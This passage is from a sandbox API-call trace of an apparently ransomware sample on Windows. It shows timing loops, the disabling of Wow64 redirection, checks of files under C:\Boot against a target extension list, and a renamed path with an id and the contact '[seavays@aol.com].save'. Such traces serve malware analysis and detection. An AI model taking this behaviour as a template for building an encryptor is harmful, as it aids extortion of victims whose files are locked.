GetTickCount () returned 0x15b79 [0171.536] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0171.735] GetTickCount () returned 0x15c44 [0171.735] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0172.151] GetTickCount () returned 0x15dda [0172.151] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0172.449] GetTickCount () returned 0x15f03 [0172.449] GetTickCount () returned 0x15f03 [0172.449] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0172.754] GetTickCount () returned 0x1602c [0172.754] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0172.936] GetTickCount () returned 0x160e7 [0172.936] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0173.184] GetTickCount () returned 0x161e1 [0173.184] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0173.632] GetTickCount () returned 0x163a6 [0173.633] GetTickCount () returned 0x163a6 [0173.633] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0173.899] GetTickCount () returned 0x164b0 [0173.899] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0174.256] GetTickCount () returned 0x16617 [0174.256] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0174.468] GetTickCount () returned 0x166e3 [0174.468] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0174.741] GetTickCount () returned 0x167fc [0174.741] GetTickCount () returned 0x167fc [0174.741] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0175.412] GetTickCount () returned 0x16a9c [0175.412] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0175.874] GetTickCount () returned 0x16c61 [0175.874] GetTickCount () returned 0x16c61 [0175.874] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0176.054] GetTickCount () returned 0x16d1c [0176.054] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0176.253] GetTickCount () returned 0x16dd8 [0176.253] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0176.696] GetTickCount () returned 0x16f9d [0176.696] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0177.255] GetTickCount () returned 0x171cf [0177.255] GetTickCount () returned 0x171cf [0177.255] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0177.548] GetTickCount () returned 0x172f8 [0177.548] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0177.808] GetTickCount () returned 0x173f2 [0177.808] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0178.335] GetTickCount () returned 0x17606 [0178.335] GetTickCount () returned 0x17606 [0178.335] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0178.751] GetTickCount () returned 0x177ab [0178.751] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0179.135] GetTickCount () returned 0x17922 [0179.135] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0179.440] GetTickCount () returned 0x17a5b [0179.440] GetTickCount () returned 0x17a5b [0179.440] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0179.996] GetTickCount () returned 0x17c7e [0179.996] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0180.263] GetTickCount () returned 0x17d87 [0180.263] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0180.535] GetTickCount () returned 0x17ea1 [0180.535] GetTickCount () returned 0x17ea1 [0180.535] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0180.907] GetTickCount () returned 0x18018 [0180.907] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0181.206] GetTickCount () returned 0x18141 [0181.206] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0181.561] GetTickCount () returned 0x182a8 [0181.561] GetTickCount () returned 0x182a8 [0181.561] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0181.912] GetTickCount () returned 0x18400 [0181.912] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0182.119] GetTickCount () returned 0x184cb [0182.119] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0182.413] GetTickCount () returned 0x185f4 [0182.413] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0182.576] GetTickCount () returned 0x186a0 [0182.576] GetTickCount () returned 0x186a0 [0182.577] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0182.746] GetTickCount () returned 0x1873c [0182.746] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0182.939] GetTickCount () returned 0x18807 [0182.939] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0183.192] GetTickCount () returned 0x18901 [0183.192] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0183.337] GetTickCount () returned 0x1898e [0183.337] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0183.501] GetTickCount () returned 0x18a39 [0183.501] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0183.726] GetTickCount () returned 0x18b14 [0183.726] GetTickCount () returned 0x18b14 [0183.726] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0184.090] GetTickCount () returned 0x18c7c [0184.090] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0184.583] GetTickCount () returned 0x18e70 [0184.583] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0184.979] GetTickCount () returned 0x18ff6 [0184.979] GetTickCount () returned 0x18ff6 [0184.979] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0185.205] GetTickCount () returned 0x190e1 [0185.205] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0185.668] GetTickCount () returned 0x192a6 [0185.668] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0185.943] GetTickCount () returned 0x193bf [0185.943] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0186.173] GetTickCount () returned 0x194a9 [0186.173] GetTickCount () returned 0x194a9 [0186.173] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0186.313] GetTickCount () returned 0x19536 [0186.314] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0186.491] GetTickCount () returned 0x195e2 [0186.491] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0186.851] GetTickCount () returned 0x19749 [0186.851] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0187.284] GetTickCount () returned 0x198ff [0187.284] GetTickCount () returned 0x198ff [0187.284] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0187.775] GetTickCount () returned 0x19ae3 [0187.775] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0188.425] GetTickCount () returned 0x19d73 [0188.425] GetTickCount () returned 0x19d73 [0188.425] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0188.588] GetTickCount () returned 0x19e10 [0188.589] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0188.785] GetTickCount () returned 0x19edb [0188.785] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0188.978] GetTickCount () returned 0x19f96 [0188.978] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0189.198] GetTickCount () returned 0x1a071 [0189.198] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0189.438] GetTickCount () returned 0x1a16b [0189.438] GetTickCount () returned 0x1a16b [0189.438] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0189.667] GetTickCount () returned 0x1a246 [0189.667] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0189.894] GetTickCount () returned 0x1a330 [0189.894] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0190.223] GetTickCount () returned 0x1a478 [0190.223] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0190.349] GetTickCount () returned 0x1a4f5 [0190.349] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0190.662] GetTickCount () returned 0x1a62e [0190.663] GetTickCount () returned 0x1a62e [0190.663] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0191.064] GetTickCount () returned 0x1a7c4 [0191.064] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0191.352] GetTickCount () returned 0x1a8dd [0191.352] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0191.674] GetTickCount () returned 0x1aa25 [0191.674] GetTickCount () returned 0x1aa25 [0191.674] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0191.931] GetTickCount () returned 0x1ab1f [0191.931] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0192.325] GetTickCount () returned 0x1aca6 [0192.325] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0192.586] GetTickCount () returned 0x1adb0 [0192.586] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0192.823] GetTickCount () returned 0x1ae9a [0192.823] GetTickCount () returned 0x1ae9a [0192.823] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0193.181] GetTickCount () returned 0x1b001 [0193.181] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0193.503] GetTickCount () returned 0x1b149 [0193.503] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0193.643] GetTickCount () returned 0x1b1c6 [0193.643] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0193.751] GetTickCount () returned 0x1b234 [0193.751] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0194.173] GetTickCount () returned 0x1b3da [0194.173] GetTickCount () returned 0x1b3da [0194.173] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0194.361] GetTickCount () returned 0x1b495 [0194.361] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0194.684] GetTickCount () returned 0x1b5dd [0194.684] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0195.075] GetTickCount () returned 0x1b764 [0195.075] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0195.393] GetTickCount () returned 0x1b89c [0195.393] GetTickCount () returned 0x1b89c [0195.394] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0195.738] GetTickCount () returned 0x1b9f4 [0195.738] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0196.019] GetTickCount () returned 0x1bb0d [0196.019] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0196.266] GetTickCount () returned 0x1bc07 [0196.266] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0196.693] GetTickCount () returned 0x1bdad [0196.693] GetTickCount () returned 0x1bdad [0196.693] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0196.903] GetTickCount () returned 0x1be88 [0196.903] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0197.167] GetTickCount () returned 0x1bf92 [0197.167] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0197.351] GetTickCount () returned 0x1c04d [0197.351] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0197.692] GetTickCount () returned 0x1c195 [0197.692] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0197.866] GetTickCount () returned 0x1c251 [0197.866] GetTickCount () returned 0x1c251 [0197.866] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0198.210] GetTickCount () returned 0x1c3a9 [0198.210] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0198.421] GetTickCount () returned 0x1c474 [0198.421] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0198.578] GetTickCount () returned 0x1c510 [0198.578] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0198.983] GetTickCount () returned 0x1c6a6 [0198.983] GetTickCount () returned 0x1c6a6 [0198.983] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0199.250] GetTickCount () returned 0x1c7bf [0199.250] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0199.741] GetTickCount () returned 0x1c9a4 [0199.741] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0199.870] GetTickCount () returned 0x1ca21 [0199.871] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0200.044] GetTickCount () returned 0x1cacd [0200.045] GetTickCount () returned 0x1cacd [0200.045] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0200.355] GetTickCount () returned 0x1cc05 [0200.355] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0200.570] GetTickCount () returned 0x1cce0 [0200.570] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0202.258] GetTickCount () returned 0x1d377 [0202.258] GetTickCount () returned 0x1d377 [0202.258] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0202.789] GetTickCount () returned 0x1d58b [0202.789] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0203.113] GetTickCount () returned 0x1d6c3 [0203.113] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0203.381] GetTickCount () returned 0x1d7dc [0203.381] GetTickCount () returned 0x1d7dc [0203.381] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0203.605] GetTickCount () returned 0x1d8b7 [0203.605] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0203.789] GetTickCount () returned 0x1d973 [0203.789] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x0 [0204.126] WaitForMultipleObjects (nCount=0x4, lpHandles=0x28eff5c*=0x27c, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0204.664] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5a0d020 | out: hHeap=0x710000) returned 1 [0204.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74e150 | out: hHeap=0x710000) returned 1 [0204.674] lstrlenW (lpString=".save") returned 5 [0204.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799b98 | out: hHeap=0x710000) returned 1 [0204.674] lstrlenW (lpString=".[seavays@aol.com]") returned 18 [0204.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x727660 | out: hHeap=0x710000) returned 1 [0204.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74e0e0 | out: hHeap=0x710000) returned 1 [0204.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x79a060 | out: hHeap=0x710000) returned 1 [0204.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x79a090 | out: hHeap=0x710000) returned 1 [0204.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x79a0c0 | out: hHeap=0x710000) returned 1 [0204.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799b68 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x79a0a8 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799c28 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74e0a0 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799b80 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799ac0 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799cd0 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74e0f0 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74e000 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799b38 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74e010 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799a78 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74e090 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x799c10 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d798 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d7e8 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72a2c8 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72bad0 | out: hHeap=0x710000) returned 1 [0204.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x754958 | out: hHeap=0x710000) returned 1 [0204.676] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x725488 | out: hHeap=0x710000) returned 1 [0204.676] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2da8 [0204.676] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2da8, Size=0x20) returned 0x459f6c8 [0204.676] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2d78 [0204.676] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2d78, Size=0x20) returned 0x459f6f0 [0204.676] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.676] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.676] Wow64DisableWow64FsRedirection (in: OldValue=0x28eff7c | out: OldValue=0x28eff7c*=0x1) returned 1 [0204.676] lstrlenW (lpString="kernel32.dll") returned 12 [0204.676] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f6f0 | out: hHeap=0x710000) returned 1 [0204.676] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.677] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f6c8 | out: hHeap=0x710000) returned 1 Thread: id = 39 os_tid = 0xe10 [0157.790] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x3760720 [0157.790] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x3770728 [0157.791] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bd28 [0157.791] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ac2e8 [0157.791] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bd40 [0157.791] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x385f020 [0157.794] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bd58 [0157.794] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78bd58, Size=0x20) returned 0x74dc98 [0157.794] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bd58 [0157.794] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78bd58, Size=0x20) returned 0x74dce8 [0157.794] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0157.794] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0157.795] Wow64DisableWow64FsRedirection (in: OldValue=0x29eff50 | out: OldValue=0x29eff50*=0x0) returned 1 [0157.795] lstrlenW (lpString="kernel32.dll") returned 12 [0157.795] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dc98 | out: hHeap=0x710000) returned 1 [0157.795] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.795] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dce8 | out: hHeap=0x710000) returned 1 [0157.795] Sleep (dwMilliseconds=0x64) [0158.339] Sleep (dwMilliseconds=0x64) [0158.876] Sleep (dwMilliseconds=0x64) [0159.170] Sleep (dwMilliseconds=0x64) [0159.553] lstrcmpiW (lpString1=".LOG", lpString2=".save") returned -1 [0159.553] lstrlenW (lpString="BCD.LOG") returned 7 [0159.553] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.553] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0159.553] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0159.553] lstrlenW (lpString=".doc") returned 4 [0159.553] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0159.553] lstrlenW (lpString=".docx") returned 5 [0159.553] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0159.553] lstrlenW (lpString=".pdf") returned 4 [0159.553] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0159.553] lstrlenW (lpString=".xls") returned 4 [0159.553] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0159.553] lstrlenW (lpString=".xlsx") returned 5 [0159.553] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0159.553] lstrlenW (lpString=".ppt") returned 4 [0159.553] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0159.553] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0159.553] lstrlenW (lpString=".zip") returned 4 [0159.553] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0159.553] lstrlenW (lpString=".rar") returned 4 [0159.553] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0159.554] lstrlenW (lpString=".bz2") returned 4 [0159.554] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0159.554] lstrlenW (lpString=".7z") returned 3 [0159.554] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0159.554] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0159.554] lstrlenW (lpString=".dbf") returned 4 [0159.554] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0159.554] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0159.554] lstrlenW (lpString=".1cd") returned 4 [0159.554] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0159.554] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0159.554] lstrlenW (lpString=".jpg") returned 4 [0159.554] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0159.554] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0159.554] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0159.554] lstrlenW (lpString=".doc") returned 4 [0159.554] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0159.554] lstrlenW (lpString=".docx") returned 5 [0159.554] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0159.554] lstrlenW (lpString=".pdf") returned 4 [0159.554] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0159.554] lstrlenW (lpString=".xls") returned 4 [0159.554] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0159.554] lstrlenW (lpString=".xlsx") returned 5 [0159.554] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0159.554] lstrlenW (lpString=".ppt") returned 4 [0159.554] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0159.555] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0159.555] lstrlenW (lpString=".zip") returned 4 [0159.555] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0159.555] lstrlenW (lpString=".rar") returned 4 [0159.555] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0159.555] lstrlenW (lpString=".bz2") returned 4 [0159.555] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0159.555] lstrlenW (lpString=".7z") returned 3 [0159.555] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0159.555] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0159.555] lstrlenW (lpString=".dbf") returned 4 [0159.555] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0159.555] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0159.555] lstrlenW (lpString=".1cd") returned 4 [0159.555] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0159.555] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0159.555] lstrlenW (lpString=".jpg") returned 4 [0159.555] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0159.555] lstrcmpiW (lpString1=".p7b", lpString2=".save") returned -1 [0159.555] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0159.555] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0159.557] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=4662) returned 1 [0159.557] CloseHandle (hObject=0x338) returned 1 [0159.557] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0159.557] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.557] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.557] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0159.557] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0159.557] lstrlenW (lpString=".doc") returned 4 [0159.557] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0159.557] lstrlenW (lpString=".docx") returned 5 [0159.557] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0159.557] lstrlenW (lpString=".pdf") returned 4 [0159.557] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0159.558] lstrlenW (lpString=".xls") returned 4 [0159.558] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0159.558] lstrlenW (lpString=".xlsx") returned 5 [0159.558] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0159.558] lstrlenW (lpString=".ppt") returned 4 [0159.558] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0159.558] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0159.558] lstrlenW (lpString=".zip") returned 4 [0159.558] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0159.558] lstrlenW (lpString=".rar") returned 4 [0159.558] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0159.558] lstrlenW (lpString=".bz2") returned 4 [0159.558] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0159.558] lstrlenW 